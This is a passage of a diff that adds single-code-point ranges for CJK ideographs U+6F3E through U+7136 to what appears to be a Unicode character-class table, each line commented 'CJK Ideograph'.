+ ["\u6F3E", "\u6F3E"], /* CJK Ideograph */
+ ["\u6F3F", "\u6F3F"], /* CJK Ideograph */
+ ["\u6F40", "\u6F40"], /* CJK Ideograph */
+ ["\u6F41", "\u6F41"], /* CJK Ideograph */
+ ["\u6F42", "\u6F42"], /* CJK Ideograph */
+ ["\u6F43", "\u6F43"], /* CJK Ideograph */
+ ["\u6F44", "\u6F44"], /* CJK Ideograph */
+ ["\u6F45", "\u6F45"], /* CJK Ideograph */
+ ["\u6F46", "\u6F46"], /* CJK Ideograph */
+ ["\u6F47", "\u6F47"], /* CJK Ideograph */
+ ["\u6F48", "\u6F48"], /* CJK Ideograph */
+ ["\u6F49", "\u6F49"], /* CJK Ideograph */
+ ["\u6F4A", "\u6F4A"], /* CJK Ideograph */
+ ["\u6F4B", "\u6F4B"], /* CJK Ideograph */
+ ["\u6F4C", "\u6F4C"], /* CJK Ideograph */
+ ["\u6F4D", "\u6F4D"], /* CJK Ideograph */
+ ["\u6F4E", "\u6F4E"], /* CJK Ideograph */
+ ["\u6F4F", "\u6F4F"], /* CJK Ideograph */
+ ["\u6F50", "\u6F50"], /* CJK Ideograph */
+ ["\u6F51", "\u6F51"], /* CJK Ideograph */
+ ["\u6F52", "\u6F52"], /* CJK Ideograph */
+ ["\u6F53", "\u6F53"], /* CJK Ideograph */
+ ["\u6F54", "\u6F54"], /* CJK Ideograph */
+ ["\u6F55", "\u6F55"], /* CJK Ideograph */
+ ["\u6F56", "\u6F56"], /* CJK Ideograph */
+ ["\u6F57", "\u6F57"], /* CJK Ideograph */
+ ["\u6F58", "\u6F58"], /* CJK Ideograph */
+ ["\u6F59", "\u6F59"], /* CJK Ideograph */
+ ["\u6F5A", "\u6F5A"], /* CJK Ideograph */
+ ["\u6F5B", "\u6F5B"], /* CJK Ideograph */
+ ["\u6F5C", "\u6F5C"], /* CJK Ideograph */
+ ["\u6F5D", "\u6F5D"], /* CJK Ideograph */
+ ["\u6F5E", "\u6F5E"], /* CJK Ideograph */
+ ["\u6F5F", "\u6F5F"], /* CJK Ideograph */
+ ["\u6F60", "\u6F60"], /* CJK Ideograph */
+ ["\u6F61", "\u6F61"], /* CJK Ideograph */
+ ["\u6F62", "\u6F62"], /* CJK Ideograph */
+ ["\u6F63", "\u6F63"], /* CJK Ideograph */
+ ["\u6F64", "\u6F64"], /* CJK Ideograph */
+ ["\u6F65", "\u6F65"], /* CJK Ideograph */
+ ["\u6F66", "\u6F66"], /* CJK Ideograph */
+ ["\u6F67", "\u6F67"], /* CJK Ideograph */
+ ["\u6F68", "\u6F68"], /* CJK Ideograph */
+ ["\u6F69", "\u6F69"], /* CJK Ideograph */
+ ["\u6F6A", "\u6F6A"], /* CJK Ideograph */
+ ["\u6F6B", "\u6F6B"], /* CJK Ideograph */
+ ["\u6F6C", "\u6F6C"], /* CJK Ideograph */
+ ["\u6F6D", "\u6F6D"], /* CJK Ideograph */
+ ["\u6F6E", "\u6F6E"], /* CJK Ideograph */
+ ["\u6F6F", "\u6F6F"], /* CJK Ideograph */
+ ["\u6F70", "\u6F70"], /* CJK Ideograph */
+ ["\u6F71", "\u6F71"], /* CJK Ideograph */
+ ["\u6F72", "\u6F72"], /* CJK Ideograph */
+ ["\u6F73", "\u6F73"], /* CJK Ideograph */
+ ["\u6F74", "\u6F74"], /* CJK Ideograph */
+ ["\u6F75", "\u6F75"], /* CJK Ideograph */
+ ["\u6F76", "\u6F76"], /* CJK Ideograph */
+ ["\u6F77", "\u6F77"], /* CJK Ideograph */
+ ["\u6F78", "\u6F78"], /* CJK Ideograph */
+ ["\u6F79", "\u6F79"], /* CJK Ideograph */
+ ["\u6F7A", "\u6F7A"], /* CJK Ideograph */
+ ["\u6F7B", "\u6F7B"], /* CJK Ideograph */
+ ["\u6F7C", "\u6F7C"], /* CJK Ideograph */
+ ["\u6F7D", "\u6F7D"], /* CJK Ideograph */
+ ["\u6F7E", "\u6F7E"], /* CJK Ideograph */
+ ["\u6F7F", "\u6F7F"], /* CJK Ideograph */
+ ["\u6F80", "\u6F80"], /* CJK Ideograph */
+ ["\u6F81", "\u6F81"], /* CJK Ideograph */
+ ["\u6F82", "\u6F82"], /* CJK Ideograph */
+ ["\u6F83", "\u6F83"], /* CJK Ideograph */
+ ["\u6F84", "\u6F84"], /* CJK Ideograph */
+ ["\u6F85", "\u6F85"], /* CJK Ideograph */
+ ["\u6F86", "\u6F86"], /* CJK Ideograph */
+ ["\u6F87", "\u6F87"], /* CJK Ideograph */
+ ["\u6F88", "\u6F88"], /* CJK Ideograph */
+ ["\u6F89", "\u6F89"], /* CJK Ideograph */
+ ["\u6F8A", "\u6F8A"], /* CJK Ideograph */
+ ["\u6F8B", "\u6F8B"], /* CJK Ideograph */
+ ["\u6F8C", "\u6F8C"], /* CJK Ideograph */
+ ["\u6F8D", "\u6F8D"], /* CJK Ideograph */
+ ["\u6F8E", "\u6F8E"], /* CJK Ideograph */
+ ["\u6F8F", "\u6F8F"], /* CJK Ideograph */
+ ["\u6F90", "\u6F90"], /* CJK Ideograph */
+ ["\u6F91", "\u6F91"], /* CJK Ideograph */
+ ["\u6F92", "\u6F92"], /* CJK Ideograph */
+ ["\u6F93", "\u6F93"], /* CJK Ideograph */
+ ["\u6F94", "\u6F94"], /* CJK Ideograph */
+ ["\u6F95", "\u6F95"], /* CJK Ideograph */
+ ["\u6F96", "\u6F96"], /* CJK Ideograph */
+ ["\u6F97", "\u6F97"], /* CJK Ideograph */
+ ["\u6F98", "\u6F98"], /* CJK Ideograph */
+ ["\u6F99", "\u6F99"], /* CJK Ideograph */
+ ["\u6F9A", "\u6F9A"], /* CJK Ideograph */
+ ["\u6F9B", "\u6F9B"], /* CJK Ideograph */
+ ["\u6F9C", "\u6F9C"], /* CJK Ideograph */
+ ["\u6F9D", "\u6F9D"], /* CJK Ideograph */
+ ["\u6F9E", "\u6F9E"], /* CJK Ideograph */
+ ["\u6F9F", "\u6F9F"], /* CJK Ideograph */
+ ["\u6FA0", "\u6FA0"], /* CJK Ideograph */
+ ["\u6FA1", "\u6FA1"], /* CJK Ideograph */
+ ["\u6FA2", "\u6FA2"], /* CJK Ideograph */
+ ["\u6FA3", "\u6FA3"], /* CJK Ideograph */
+ ["\u6FA4", "\u6FA4"], /* CJK Ideograph */
+ ["\u6FA5", "\u6FA5"], /* CJK Ideograph */
+ ["\u6FA6", "\u6FA6"], /* CJK Ideograph */
+ ["\u6FA7", "\u6FA7"], /* CJK Ideograph */
+ ["\u6FA8", "\u6FA8"], /* CJK Ideograph */
+ ["\u6FA9", "\u6FA9"], /* CJK Ideograph */
+ ["\u6FAA", "\u6FAA"], /* CJK Ideograph */
+ ["\u6FAB", "\u6FAB"], /* CJK Ideograph */
+ ["\u6FAC", "\u6FAC"], /* CJK Ideograph */
+ ["\u6FAD", "\u6FAD"], /* CJK Ideograph */
+ ["\u6FAE", "\u6FAE"], /* CJK Ideograph */
+ ["\u6FAF", "\u6FAF"], /* CJK Ideograph */
+ ["\u6FB0", "\u6FB0"], /* CJK Ideograph */
+ ["\u6FB1", "\u6FB1"], /* CJK Ideograph */
+ ["\u6FB2", "\u6FB2"], /* CJK Ideograph */
+ ["\u6FB3", "\u6FB3"], /* CJK Ideograph */
+ ["\u6FB4", "\u6FB4"], /* CJK Ideograph */
+ ["\u6FB5", "\u6FB5"], /* CJK Ideograph */
+ ["\u6FB6", "\u6FB6"], /* CJK Ideograph */
+ ["\u6FB7", "\u6FB7"], /* CJK Ideograph */
+ ["\u6FB8", "\u6FB8"], /* CJK Ideograph */
+ ["\u6FB9", "\u6FB9"], /* CJK Ideograph */
+ ["\u6FBA", "\u6FBA"], /* CJK Ideograph */
+ ["\u6FBB", "\u6FBB"], /* CJK Ideograph */
+ ["\u6FBC", "\u6FBC"], /* CJK Ideograph */
+ ["\u6FBD", "\u6FBD"], /* CJK Ideograph */
+ ["\u6FBE", "\u6FBE"], /* CJK Ideograph */
+ ["\u6FBF", "\u6FBF"], /* CJK Ideograph */
+ ["\u6FC0", "\u6FC0"], /* CJK Ideograph */
+ ["\u6FC1", "\u6FC1"], /* CJK Ideograph */
+ ["\u6FC2", "\u6FC2"], /* CJK Ideograph */
+ ["\u6FC3", "\u6FC3"], /* CJK Ideograph */
+ ["\u6FC4", "\u6FC4"], /* CJK Ideograph */
+ ["\u6FC5", "\u6FC5"], /* CJK Ideograph */
+ ["\u6FC6", "\u6FC6"], /* CJK Ideograph */
+ ["\u6FC7", "\u6FC7"], /* CJK Ideograph */
+ ["\u6FC8", "\u6FC8"], /* CJK Ideograph */
+ ["\u6FC9", "\u6FC9"], /* CJK Ideograph */
+ ["\u6FCA", "\u6FCA"], /* CJK Ideograph */
+ ["\u6FCB", "\u6FCB"], /* CJK Ideograph */
+ ["\u6FCC", "\u6FCC"], /* CJK Ideograph */
+ ["\u6FCD", "\u6FCD"], /* CJK Ideograph */
+ ["\u6FCE", "\u6FCE"], /* CJK Ideograph */
+ ["\u6FCF", "\u6FCF"], /* CJK Ideograph */
+ ["\u6FD0", "\u6FD0"], /* CJK Ideograph */
+ ["\u6FD1", "\u6FD1"], /* CJK Ideograph */
+ ["\u6FD2", "\u6FD2"], /* CJK Ideograph */
+ ["\u6FD3", "\u6FD3"], /* CJK Ideograph */
+ ["\u6FD4", "\u6FD4"], /* CJK Ideograph */
+ ["\u6FD5", "\u6FD5"], /* CJK Ideograph */
+ ["\u6FD6", "\u6FD6"], /* CJK Ideograph */
+ ["\u6FD7", "\u6FD7"], /* CJK Ideograph */
+ ["\u6FD8", "\u6FD8"], /* CJK Ideograph */
+ ["\u6FD9", "\u6FD9"], /* CJK Ideograph */
+ ["\u6FDA", "\u6FDA"], /* CJK Ideograph */
+ ["\u6FDB", "\u6FDB"], /* CJK Ideograph */
+ ["\u6FDC", "\u6FDC"], /* CJK Ideograph */
+ ["\u6FDD", "\u6FDD"], /* CJK Ideograph */
+ ["\u6FDE", "\u6FDE"], /* CJK Ideograph */
+ ["\u6FDF", "\u6FDF"], /* CJK Ideograph */
+ ["\u6FE0", "\u6FE0"], /* CJK Ideograph */
+ ["\u6FE1", "\u6FE1"], /* CJK Ideograph */
+ ["\u6FE2", "\u6FE2"], /* CJK Ideograph */
+ ["\u6FE3", "\u6FE3"], /* CJK Ideograph */
+ ["\u6FE4", "\u6FE4"], /* CJK Ideograph */
+ ["\u6FE5", "\u6FE5"], /* CJK Ideograph */
+ ["\u6FE6", "\u6FE6"], /* CJK Ideograph */
+ ["\u6FE7", "\u6FE7"], /* CJK Ideograph */
+ ["\u6FE8", "\u6FE8"], /* CJK Ideograph */
+ ["\u6FE9", "\u6FE9"], /* CJK Ideograph */
+ ["\u6FEA", "\u6FEA"], /* CJK Ideograph */
+ ["\u6FEB", "\u6FEB"], /* CJK Ideograph */
+ ["\u6FEC", "\u6FEC"], /* CJK Ideograph */
+ ["\u6FED", "\u6FED"], /* CJK Ideograph */
+ ["\u6FEE", "\u6FEE"], /* CJK Ideograph */
+ ["\u6FEF", "\u6FEF"], /* CJK Ideograph */
+ ["\u6FF0", "\u6FF0"], /* CJK Ideograph */
+ ["\u6FF1", "\u6FF1"], /* CJK Ideograph */
+ ["\u6FF2", "\u6FF2"], /* CJK Ideograph */
+ ["\u6FF3", "\u6FF3"], /* CJK Ideograph */
+ ["\u6FF4", "\u6FF4"], /* CJK Ideograph */
+ ["\u6FF5", "\u6FF5"], /* CJK Ideograph */
+ ["\u6FF6", "\u6FF6"], /* CJK Ideograph */
+ ["\u6FF7", "\u6FF7"], /* CJK Ideograph */
+ ["\u6FF8", "\u6FF8"], /* CJK Ideograph */
+ ["\u6FF9", "\u6FF9"], /* CJK Ideograph */
+ ["\u6FFA", "\u6FFA"], /* CJK Ideograph */
+ ["\u6FFB", "\u6FFB"], /* CJK Ideograph */
+ ["\u6FFC", "\u6FFC"], /* CJK Ideograph */
+ ["\u6FFD", "\u6FFD"], /* CJK Ideograph */
+ ["\u6FFE", "\u6FFE"], /* CJK Ideograph */
+ ["\u6FFF", "\u6FFF"], /* CJK Ideograph */
+ ["\u7000", "\u7000"], /* CJK Ideograph */
+ ["\u7001", "\u7001"], /* CJK Ideograph */
+ ["\u7002", "\u7002"], /* CJK Ideograph */
+ ["\u7003", "\u7003"], /* CJK Ideograph */
+ ["\u7004", "\u7004"], /* CJK Ideograph */
+ ["\u7005", "\u7005"], /* CJK Ideograph */
+ ["\u7006", "\u7006"], /* CJK Ideograph */
+ ["\u7007", "\u7007"], /* CJK Ideograph */
+ ["\u7008", "\u7008"], /* CJK Ideograph */
+ ["\u7009", "\u7009"], /* CJK Ideograph */
+ ["\u700A", "\u700A"], /* CJK Ideograph */
+ ["\u700B", "\u700B"], /* CJK Ideograph */
+ ["\u700C", "\u700C"], /* CJK Ideograph */
+ ["\u700D", "\u700D"], /* CJK Ideograph */
+ ["\u700E", "\u700E"], /* CJK Ideograph */
+ ["\u700F", "\u700F"], /* CJK Ideograph */
+ ["\u7010", "\u7010"], /* CJK Ideograph */
+ ["\u7011", "\u7011"], /* CJK Ideograph */
+ ["\u7012", "\u7012"], /* CJK Ideograph */
+ ["\u7013", "\u7013"], /* CJK Ideograph */
+ ["\u7014", "\u7014"], /* CJK Ideograph */
+ ["\u7015", "\u7015"], /* CJK Ideograph */
+ ["\u7016", "\u7016"], /* CJK Ideograph */
+ ["\u7017", "\u7017"], /* CJK Ideograph */
+ ["\u7018", "\u7018"], /* CJK Ideograph */
+ ["\u7019", "\u7019"], /* CJK Ideograph */
+ ["\u701A", "\u701A"], /* CJK Ideograph */
+ ["\u701B", "\u701B"], /* CJK Ideograph */
+ ["\u701C", "\u701C"], /* CJK Ideograph */
+ ["\u701D", "\u701D"], /* CJK Ideograph */
+ ["\u701E", "\u701E"], /* CJK Ideograph */
+ ["\u701F", "\u701F"], /* CJK Ideograph */
+ ["\u7020", "\u7020"], /* CJK Ideograph */
+ ["\u7021", "\u7021"], /* CJK Ideograph */
+ ["\u7022", "\u7022"], /* CJK Ideograph */
+ ["\u7023", "\u7023"], /* CJK Ideograph */
+ ["\u7024", "\u7024"], /* CJK Ideograph */
+ ["\u7025", "\u7025"], /* CJK Ideograph */
+ ["\u7026", "\u7026"], /* CJK Ideograph */
+ ["\u7027", "\u7027"], /* CJK Ideograph */
+ ["\u7028", "\u7028"], /* CJK Ideograph */
+ ["\u7029", "\u7029"], /* CJK Ideograph */
+ ["\u702A", "\u702A"], /* CJK Ideograph */
+ ["\u702B", "\u702B"], /* CJK Ideograph */
+ ["\u702C", "\u702C"], /* CJK Ideograph */
+ ["\u702D", "\u702D"], /* CJK Ideograph */
+ ["\u702E", "\u702E"], /* CJK Ideograph */
+ ["\u702F", "\u702F"], /* CJK Ideograph */
+ ["\u7030", "\u7030"], /* CJK Ideograph */
+ ["\u7031", "\u7031"], /* CJK Ideograph */
+ ["\u7032", "\u7032"], /* CJK Ideograph */
+ ["\u7033", "\u7033"], /* CJK Ideograph */
+ ["\u7034", "\u7034"], /* CJK Ideograph */
+ ["\u7035", "\u7035"], /* CJK Ideograph */
+ ["\u7036", "\u7036"], /* CJK Ideograph */
+ ["\u7037", "\u7037"], /* CJK Ideograph */
+ ["\u7038", "\u7038"], /* CJK Ideograph */
+ ["\u7039", "\u7039"], /* CJK Ideograph */
+ ["\u703A", "\u703A"], /* CJK Ideograph */
+ ["\u703B", "\u703B"], /* CJK Ideograph */
+ ["\u703C", "\u703C"], /* CJK Ideograph */
+ ["\u703D", "\u703D"], /* CJK Ideograph */
+ ["\u703E", "\u703E"], /* CJK Ideograph */
+ ["\u703F", "\u703F"], /* CJK Ideograph */
+ ["\u7040", "\u7040"], /* CJK Ideograph */
+ ["\u7041", "\u7041"], /* CJK Ideograph */
+ ["\u7042", "\u7042"], /* CJK Ideograph */
+ ["\u7043", "\u7043"], /* CJK Ideograph */
+ ["\u7044", "\u7044"], /* CJK Ideograph */
+ ["\u7045", "\u7045"], /* CJK Ideograph */
+ ["\u7046", "\u7046"], /* CJK Ideograph */
+ ["\u7047", "\u7047"], /* CJK Ideograph */
+ ["\u7048", "\u7048"], /* CJK Ideograph */
+ ["\u7049", "\u7049"], /* CJK Ideograph */
+ ["\u704A", "\u704A"], /* CJK Ideograph */
+ ["\u704B", "\u704B"], /* CJK Ideograph */
+ ["\u704C", "\u704C"], /* CJK Ideograph */
+ ["\u704D", "\u704D"], /* CJK Ideograph */
+ ["\u704E", "\u704E"], /* CJK Ideograph */
+ ["\u704F", "\u704F"], /* CJK Ideograph */
+ ["\u7050", "\u7050"], /* CJK Ideograph */
+ ["\u7051", "\u7051"], /* CJK Ideograph */
+ ["\u7052", "\u7052"], /* CJK Ideograph */
+ ["\u7053", "\u7053"], /* CJK Ideograph */
+ ["\u7054", "\u7054"], /* CJK Ideograph */
+ ["\u7055", "\u7055"], /* CJK Ideograph */
+ ["\u7056", "\u7056"], /* CJK Ideograph */
+ ["\u7057", "\u7057"], /* CJK Ideograph */
+ ["\u7058", "\u7058"], /* CJK Ideograph */
+ ["\u7059", "\u7059"], /* CJK Ideograph */
+ ["\u705A", "\u705A"], /* CJK Ideograph */
+ ["\u705B", "\u705B"], /* CJK Ideograph */
+ ["\u705C", "\u705C"], /* CJK Ideograph */
+ ["\u705D", "\u705D"], /* CJK Ideograph */
+ ["\u705E", "\u705E"], /* CJK Ideograph */
+ ["\u705F", "\u705F"], /* CJK Ideograph */
+ ["\u7060", "\u7060"], /* CJK Ideograph */
+ ["\u7061", "\u7061"], /* CJK Ideograph */
+ ["\u7062", "\u7062"], /* CJK Ideograph */
+ ["\u7063", "\u7063"], /* CJK Ideograph */
+ ["\u7064", "\u7064"], /* CJK Ideograph */
+ ["\u7065", "\u7065"], /* CJK Ideograph */
+ ["\u7066", "\u7066"], /* CJK Ideograph */
+ ["\u7067", "\u7067"], /* CJK Ideograph */
+ ["\u7068", "\u7068"], /* CJK Ideograph */
+ ["\u7069", "\u7069"], /* CJK Ideograph */
+ ["\u706A", "\u706A"], /* CJK Ideograph */
+ ["\u706B", "\u706B"], /* CJK Ideograph */
+ ["\u706C", "\u706C"], /* CJK Ideograph */
+ ["\u706D", "\u706D"], /* CJK Ideograph */
+ ["\u706E", "\u706E"], /* CJK Ideograph */
+ ["\u706F", "\u706F"], /* CJK Ideograph */
+ ["\u7070", "\u7070"], /* CJK Ideograph */
+ ["\u7071", "\u7071"], /* CJK Ideograph */
+ ["\u7072", "\u7072"], /* CJK Ideograph */
+ ["\u7073", "\u7073"], /* CJK Ideograph */
+ ["\u7074", "\u7074"], /* CJK Ideograph */
+ ["\u7075", "\u7075"], /* CJK Ideograph */
+ ["\u7076", "\u7076"], /* CJK Ideograph */
+ ["\u7077", "\u7077"], /* CJK Ideograph */
+ ["\u7078", "\u7078"], /* CJK Ideograph */
+ ["\u7079", "\u7079"], /* CJK Ideograph */
+ ["\u707A", "\u707A"], /* CJK Ideograph */
+ ["\u707B", "\u707B"], /* CJK Ideograph */
+ ["\u707C", "\u707C"], /* CJK Ideograph */
+ ["\u707D", "\u707D"], /* CJK Ideograph */
+ ["\u707E", "\u707E"], /* CJK Ideograph */
+ ["\u707F", "\u707F"], /* CJK Ideograph */
+ ["\u7080", "\u7080"], /* CJK Ideograph */
+ ["\u7081", "\u7081"], /* CJK Ideograph */
+ ["\u7082", "\u7082"], /* CJK Ideograph */
+ ["\u7083", "\u7083"], /* CJK Ideograph */
+ ["\u7084", "\u7084"], /* CJK Ideograph */
+ ["\u7085", "\u7085"], /* CJK Ideograph */
+ ["\u7086", "\u7086"], /* CJK Ideograph */
+ ["\u7087", "\u7087"], /* CJK Ideograph */
+ ["\u7088", "\u7088"], /* CJK Ideograph */
+ ["\u7089", "\u7089"], /* CJK Ideograph */
+ ["\u708A", "\u708A"], /* CJK Ideograph */
+ ["\u708B", "\u708B"], /* CJK Ideograph */
+ ["\u708C", "\u708C"], /* CJK Ideograph */
+ ["\u708D", "\u708D"], /* CJK Ideograph */
+ ["\u708E", "\u708E"], /* CJK Ideograph */
+ ["\u708F", "\u708F"], /* CJK Ideograph */
+ ["\u7090", "\u7090"], /* CJK Ideograph */
+ ["\u7091", "\u7091"], /* CJK Ideograph */
+ ["\u7092", "\u7092"], /* CJK Ideograph */
+ ["\u7093", "\u7093"], /* CJK Ideograph */
+ ["\u7094", "\u7094"], /* CJK Ideograph */
+ ["\u7095", "\u7095"], /* CJK Ideograph */
+ ["\u7096", "\u7096"], /* CJK Ideograph */
+ ["\u7097", "\u7097"], /* CJK Ideograph */
+ ["\u7098", "\u7098"], /* CJK Ideograph */
+ ["\u7099", "\u7099"], /* CJK Ideograph */
+ ["\u709A", "\u709A"], /* CJK Ideograph */
+ ["\u709B", "\u709B"], /* CJK Ideograph */
+ ["\u709C", "\u709C"], /* CJK Ideograph */
+ ["\u709D", "\u709D"], /* CJK Ideograph */
+ ["\u709E", "\u709E"], /* CJK Ideograph */
+ ["\u709F", "\u709F"], /* CJK Ideograph */
+ ["\u70A0", "\u70A0"], /* CJK Ideograph */
+ ["\u70A1", "\u70A1"], /* CJK Ideograph */
+ ["\u70A2", "\u70A2"], /* CJK Ideograph */
+ ["\u70A3", "\u70A3"], /* CJK Ideograph */
+ ["\u70A4", "\u70A4"], /* CJK Ideograph */
+ ["\u70A5", "\u70A5"], /* CJK Ideograph */
+ ["\u70A6", "\u70A6"], /* CJK Ideograph */
+ ["\u70A7", "\u70A7"], /* CJK Ideograph */
+ ["\u70A8", "\u70A8"], /* CJK Ideograph */
+ ["\u70A9", "\u70A9"], /* CJK Ideograph */
+ ["\u70AA", "\u70AA"], /* CJK Ideograph */
+ ["\u70AB", "\u70AB"], /* CJK Ideograph */
+ ["\u70AC", "\u70AC"], /* CJK Ideograph */
+ ["\u70AD", "\u70AD"], /* CJK Ideograph */
+ ["\u70AE", "\u70AE"], /* CJK Ideograph */
+ ["\u70AF", "\u70AF"], /* CJK Ideograph */
+ ["\u70B0", "\u70B0"], /* CJK Ideograph */
+ ["\u70B1", "\u70B1"], /* CJK Ideograph */
+ ["\u70B2", "\u70B2"], /* CJK Ideograph */
+ ["\u70B3", "\u70B3"], /* CJK Ideograph */
+ ["\u70B4", "\u70B4"], /* CJK Ideograph */
+ ["\u70B5", "\u70B5"], /* CJK Ideograph */
+ ["\u70B6", "\u70B6"], /* CJK Ideograph */
+ ["\u70B7", "\u70B7"], /* CJK Ideograph */
+ ["\u70B8", "\u70B8"], /* CJK Ideograph */
+ ["\u70B9", "\u70B9"], /* CJK Ideograph */
+ ["\u70BA", "\u70BA"], /* CJK Ideograph */
+ ["\u70BB", "\u70BB"], /* CJK Ideograph */
+ ["\u70BC", "\u70BC"], /* CJK Ideograph */
+ ["\u70BD", "\u70BD"], /* CJK Ideograph */
+ ["\u70BE", "\u70BE"], /* CJK Ideograph */
+ ["\u70BF", "\u70BF"], /* CJK Ideograph */
+ ["\u70C0", "\u70C0"], /* CJK Ideograph */
+ ["\u70C1", "\u70C1"], /* CJK Ideograph */
+ ["\u70C2", "\u70C2"], /* CJK Ideograph */
+ ["\u70C3", "\u70C3"], /* CJK Ideograph */
+ ["\u70C4", "\u70C4"], /* CJK Ideograph */
+ ["\u70C5", "\u70C5"], /* CJK Ideograph */
+ ["\u70C6", "\u70C6"], /* CJK Ideograph */
+ ["\u70C7", "\u70C7"], /* CJK Ideograph */
+ ["\u70C8", "\u70C8"], /* CJK Ideograph */
+ ["\u70C9", "\u70C9"], /* CJK Ideograph */
+ ["\u70CA", "\u70CA"], /* CJK Ideograph */
+ ["\u70CB", "\u70CB"], /* CJK Ideograph */
+ ["\u70CC", "\u70CC"], /* CJK Ideograph */
+ ["\u70CD", "\u70CD"], /* CJK Ideograph */
+ ["\u70CE", "\u70CE"], /* CJK Ideograph */
+ ["\u70CF", "\u70CF"], /* CJK Ideograph */
+ ["\u70D0", "\u70D0"], /* CJK Ideograph */
+ ["\u70D1", "\u70D1"], /* CJK Ideograph */
+ ["\u70D2", "\u70D2"], /* CJK Ideograph */
+ ["\u70D3", "\u70D3"], /* CJK Ideograph */
+ ["\u70D4", "\u70D4"], /* CJK Ideograph */
+ ["\u70D5", "\u70D5"], /* CJK Ideograph */
+ ["\u70D6", "\u70D6"], /* CJK Ideograph */
+ ["\u70D7", "\u70D7"], /* CJK Ideograph */
+ ["\u70D8", "\u70D8"], /* CJK Ideograph */
+ ["\u70D9", "\u70D9"], /* CJK Ideograph */
+ ["\u70DA", "\u70DA"], /* CJK Ideograph */
+ ["\u70DB", "\u70DB"], /* CJK Ideograph */
+ ["\u70DC", "\u70DC"], /* CJK Ideograph */
+ ["\u70DD", "\u70DD"], /* CJK Ideograph */
+ ["\u70DE", "\u70DE"], /* CJK Ideograph */
+ ["\u70DF", "\u70DF"], /* CJK Ideograph */
+ ["\u70E0", "\u70E0"], /* CJK Ideograph */
+ ["\u70E1", "\u70E1"], /* CJK Ideograph */
+ ["\u70E2", "\u70E2"], /* CJK Ideograph */
+ ["\u70E3", "\u70E3"], /* CJK Ideograph */
+ ["\u70E4", "\u70E4"], /* CJK Ideograph */
+ ["\u70E5", "\u70E5"], /* CJK Ideograph */
+ ["\u70E6", "\u70E6"], /* CJK Ideograph */
+ ["\u70E7", "\u70E7"], /* CJK Ideograph */
+ ["\u70E8", "\u70E8"], /* CJK Ideograph */
+ ["\u70E9", "\u70E9"], /* CJK Ideograph */
+ ["\u70EA", "\u70EA"], /* CJK Ideograph */
+ ["\u70EB", "\u70EB"], /* CJK Ideograph */
+ ["\u70EC", "\u70EC"], /* CJK Ideograph */
+ ["\u70ED", "\u70ED"], /* CJK Ideograph */
+ ["\u70EE", "\u70EE"], /* CJK Ideograph */
+ ["\u70EF", "\u70EF"], /* CJK Ideograph */
+ ["\u70F0", "\u70F0"], /* CJK Ideograph */
+ ["\u70F1", "\u70F1"], /* CJK Ideograph */
+ ["\u70F2", "\u70F2"], /* CJK Ideograph */
+ ["\u70F3", "\u70F3"], /* CJK Ideograph */
+ ["\u70F4", "\u70F4"], /* CJK Ideograph */
+ ["\u70F5", "\u70F5"], /* CJK Ideograph */
+ ["\u70F6", "\u70F6"], /* CJK Ideograph */
+ ["\u70F7", "\u70F7"], /* CJK Ideograph */
+ ["\u70F8", "\u70F8"], /* CJK Ideograph */
+ ["\u70F9", "\u70F9"], /* CJK Ideograph */
+ ["\u70FA", "\u70FA"], /* CJK Ideograph */
+ ["\u70FB", "\u70FB"], /* CJK Ideograph */
+ ["\u70FC", "\u70FC"], /* CJK Ideograph */
+ ["\u70FD", "\u70FD"], /* CJK Ideograph */
+ ["\u70FE", "\u70FE"], /* CJK Ideograph */
+ ["\u70FF", "\u70FF"], /* CJK Ideograph */
+ ["\u7100", "\u7100"], /* CJK Ideograph */
+ ["\u7101", "\u7101"], /* CJK Ideograph */
+ ["\u7102", "\u7102"], /* CJK Ideograph */
+ ["\u7103", "\u7103"], /* CJK Ideograph */
+ ["\u7104", "\u7104"], /* CJK Ideograph */
+ ["\u7105", "\u7105"], /* CJK Ideograph */
+ ["\u7106", "\u7106"], /* CJK Ideograph */
+ ["\u7107", "\u7107"], /* CJK Ideograph */
+ ["\u7108", "\u7108"], /* CJK Ideograph */
+ ["\u7109", "\u7109"], /* CJK Ideograph */
+ ["\u710A", "\u710A"], /* CJK Ideograph */
+ ["\u710B", "\u710B"], /* CJK Ideograph */
+ ["\u710C", "\u710C"], /* CJK Ideograph */
+ ["\u710D", "\u710D"], /* CJK Ideograph */
+ ["\u710E", "\u710E"], /* CJK Ideograph */
+ ["\u710F", "\u710F"], /* CJK Ideograph */
+ ["\u7110", "\u7110"], /* CJK Ideograph */
+ ["\u7111", "\u7111"], /* CJK Ideograph */
+ ["\u7112", "\u7112"], /* CJK Ideograph */
+ ["\u7113", "\u7113"], /* CJK Ideograph */
+ ["\u7114", "\u7114"], /* CJK Ideograph */
+ ["\u7115", "\u7115"], /* CJK Ideograph */
+ ["\u7116", "\u7116"], /* CJK Ideograph */
+ ["\u7117", "\u7117"], /* CJK Ideograph */
+ ["\u7118", "\u7118"], /* CJK Ideograph */
+ ["\u7119", "\u7119"], /* CJK Ideograph */
+ ["\u711A", "\u711A"], /* CJK Ideograph */
+ ["\u711B", "\u711B"], /* CJK Ideograph */
+ ["\u711C", "\u711C"], /* CJK Ideograph */
+ ["\u711D", "\u711D"], /* CJK Ideograph */
+ ["\u711E", "\u711E"], /* CJK Ideograph */
+ ["\u711F", "\u711F"], /* CJK Ideograph */
+ ["\u7120", "\u7120"], /* CJK Ideograph */
+ ["\u7121", "\u7121"], /* CJK Ideograph */
+ ["\u7122", "\u7122"], /* CJK Ideograph */
+ ["\u7123", "\u7123"], /* CJK Ideograph */
+ ["\u7124", "\u7124"], /* CJK Ideograph */
+ ["\u7125", "\u7125"], /* CJK Ideograph */
+ ["\u7126", "\u7126"], /* CJK Ideograph */
+ ["\u7127", "\u7127"], /* CJK Ideograph */
+ ["\u7128", "\u7128"], /* CJK Ideograph */
+ ["\u7129", "\u7129"], /* CJK Ideograph */
+ ["\u712A", "\u712A"], /* CJK Ideograph */
+ ["\u712B", "\u712B"], /* CJK Ideograph */
+ ["\u712C", "\u712C"], /* CJK Ideograph */
+ ["\u712D", "\u712D"], /* CJK Ideograph */
+ ["\u712E", "\u712E"], /* CJK Ideograph */
+ ["\u712F", "\u712F"], /* CJK Ideograph */
+ ["\u7130", "\u7130"], /* CJK Ideograph */
+ ["\u7131", "\u7131"], /* CJK Ideograph */
+ ["\u7132", "\u7132"], /* CJK Ideograph */
+ ["\u7133", "\u7133"], /* CJK Ideograph */
+ ["\u7134", "\u7134"], /* CJK Ideograph */
+ ["\u7135", "\u7135"], /* CJK Ideograph */
+ ["\u7136", "\u7136"], /* CJK Ideograph */
